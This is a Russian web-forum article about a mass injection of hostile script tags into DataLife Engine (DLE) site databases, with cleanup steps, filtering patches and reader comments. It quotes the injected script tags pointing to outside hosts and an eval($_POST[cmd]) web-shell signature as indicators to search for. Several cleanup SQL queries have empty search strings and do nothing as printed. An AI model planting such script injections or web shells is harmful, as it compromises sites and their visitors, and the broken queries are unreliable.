Мы в твиттере Мы в телеграме!

Провеббер » DataLife Engine » DLE хаки » Массовый взлом сайтов на движке DLE

Набор в команду! Ведется набор в команду, для наполнения сайта новым, интересным контентом. Если у тебя есть предложения, свободное время, ты обладаешь интересным контентом, и хочешь поделиться с другими?
Обращайся к нам в ЛС группы Вконтакте.

Массовый взлом сайтов на движке DLE

Данный материал предоставлен сайтом ProWebber.cc исключительно в ознакомительных целях. Администрация не несет ответственности за его содержимое.
Скачать бесплатно Массовый взлом сайтов на движке DLE.

Массовый взлом сайтов на движке DLE

Внимание друзья и пользователи движком DLE. Недавно обнаружил посторонние iframe включения в страницах своих сайтов, покопавшись в интернете увидел, что такой же проблемой страдают тысячи других сайтов на DLE. Атака производилась после нового года, приблизительно в 5-6 числах и продолжается сейчас.

В этой теме я расскажу как избавится от этой проблемы и излечить свой сайт от посторонних включений!

Итак начнём:

Как распознать проблему?
-При переходе по страницам сайт начинает жутко тормозить!
-В полных и кратких новостях присутствует нечто:

<script src="http://zheenix.msk.ru/1d5bba8ac681811be25992f361d9108c.js" ENGINE="text/javascript"></script>
<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>
<script src="http://www.karbrrbrr.co.cc/1adfb9a63a0313c68f5572caecb8977b.js" type="text/javascript"></script>


Описание проблемы!
Эти включения представляют собой включения в базу MySQL, некоторые из них имеют обычный вид, а некоторые имеют генерируемые комбинации, типа
1d5bba8ac681811be25992f361d9108c
кторох удалить немного сложнее чем обычную статику. Не пытайтесь искать включения в файлах, весь этот мусор как я уже говорил храниится в MySQL!

Решение проблемы и закрытие дыры в жвижке DLE

Способ 1:

1) Смени пароль на базу данных.

2) Сделай 2 автозамены в базе или в "поиск и замена":

а) замени:

<script src="http://zheenix.msk.ru и <script src="http://you-stupped-lox.ucoz.ru


на

<!--


б) замени:

js" type="text/javascript"></script>


на

-->


3) Проверь все файлы сайта (на фтп поиском) на содержание следующего текста:

а)
x2a

б)
{${@eval($_POST[cmd])}}


Сравни найденные файлы с исходниками движка и лишнее удали.

4) Поставь последние заплатки (включая платные)

-----------------------------------------

Способ 2:

Итак, например У меня в краткой и полной новости появилось по 3 скрипта
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>


Делим их для удобства:
1.
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script>


2.
<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>


3.


1 удалить будет сложнее т.к код после слеша везде разный, поэтому начнем со 2 и 3!
Идем в phpmyadmin, выбираем вкладку SQL, видим окошко и туда вписываем:
UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


Нажимаем ОК, после чего пропадет из новостей скрипт №2!
Не закрывая SQL удаляем так же скрипт №3 тоесть выполняем Такой sql запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


Нажимаем ОК!
Скрипт №3 так же удален!

Теперь возьмемся за скрипт №1
В phpmyadmin выбираем вкладку "Экспорт" и нажимаем ОК, сохраняем на компьютер!
Открываем эту базу с помощью ОФИСОВСКОГО ВОРДА, нажимаем "правка"---->>>"замена" и вписываем в поле найти: (zheenix)*(js) а в поле замена zheenix.ru , тут же нажимаем "больше" и ставим галочку на "Подстановочные знаки" , нажимаем "заменить все"!
Этим мы избавились от разного кода! Сохраняем изменения!
Идем в phpmyadmin ---> структура ----> и отмечаем все галочки ---> далее удаляем все!
Теперь идем во вкладку "импорт" , нажимаем обзор и выбираем Нашу измененную БД, ставим вместо utf8 ---> cp1251 и нажиимаем ОК! База загружена!
Теперь бежим в вкладку SQL и выполняем такой запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


нажимаем ОК!

Вот собственно и все! Можно конечно и облегчить это все, но я написал как делал сам!
Заняло у меня это минут 10, все же быстей и проще чем руками это делать!
Теперь только надо думать о заплатках)


--------------------------------------------------

А теперь про ХАКИ, закрываем все дыры у нас в движке

1. Взята с ОФФ сайта DLE
Проблема: Недостаточная фильтрация входящих данных.

Ошибка в версии: 9.0 и все более ранние версии

Степень опасности: Высокая

Для исправления откройте файлы engine/modules/search.php и engine/modules/fullsearch.php и найдите:
 $count_result = 0;


ниже добавьте:
 $sql_count = "";


Откройте файл engine/inc/templates.php и найдите:
$allow_save = false;


ниже добавьте:

$_REQUEST['do_template'] = trim( totranslit($_REQUEST['do_template'], false, false) );
$_REQUEST['do_language'] = trim( totranslit($_REQUEST['do_language'], false, false) );



2. Запрещаем включения типа скрипт и ифрэймв полной и краткой новости:
Проблема: Недостаточная фильтрация входящих данных при обработке новостей.

Ошибка в версии: все версии

Степень опасности: Низкая

Откройте файл: engine/classes/parse.class.php
Найдите:
if( ((strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false) && ($attrSubSet[0] == 'style')) || (strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "href") || ($attrSubSet[0] == "href" and strpos( strtolower( $attrSubSet[1] ), $config['admin_path'] ) !== false and preg_match( "/[?&%<\[\]]/", $attrSubSet[1] )) || (strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false) ) continue;


замените на:
if( ((strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false) && ($attrSubSet[0] == 'style')) || (strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "href") || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "src") || ($attrSubSet[0] == "href" and strpos( strtolower( $attrSubSet[1] ), $config['admin_path'] ) !== false and preg_match( "/[?&%<\[\]]/", $attrSubSet[1] )) || (strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false) ) continue;


Найдите:
$source = str_replace( "`", "&#96;", $source );


Ниже добавьте:

$source = preg_replace( "#<iframe#i", "&lt;iframe", $source );
$source = preg_replace( "#<script#i", "&lt;script", $source );


-----------------------------------
Вот так можно избавится от этой серьёзной проблемы, которая может существенно навредить Вашему сайту и его позиции в поисковых системах.
Понравилась моя статья, она тебе помогла? Поставь мне + в репу. ;)


Дополнительные ссылки на скачивание ТОЛЬКО для зарегистрированных


+1
Просмотры: 12 445 :: Комментарии (44) :: :: Нужна помощь? Задайте вопрос на форуме ::
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

#41nenondra

  • 18 июля 2011 21:06
  • Регистрация: 17.07.2011
  • Был(а) онлайн: 18.07.2011
  • Комментариев: 10
  • 0
плохая вещь - сайты ломать

#42nimca

  • 17 сентября 2011 07:21
  • Регистрация: 14.07.2011
  • Был(а) онлайн: 10.12.2012
  • Комментариев: 39
  • 0
О нет! блин(а как мой сайт?

--------------------

#43vurdik

  • 9 октября 2011 06:16
  • Регистрация: 9.10.2011
  • Был(а) онлайн: 28.01.2019
  • Комментариев: 30
  • 0
НУЖНО ДЕЙСТВОВАТЬ! music

#44drKuba

  • 19 декабря 2011 15:45
  • Регистрация: 19.12.2011
  • Был(а) онлайн: 13.12.2012
  • Комментариев: 19
  • 0
столкнулся с такой проблемой, спасибо, помогло

1 2 3
Предыдущая    Следующая
Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

Архив новостей
Ноябрь 2024 (9)
Октябрь 2024 (169)
Сентябрь 2024 (13)
Август 2024 (60)
Июль 2024 (12)
Июнь 2024 (30)

Последние комментарии: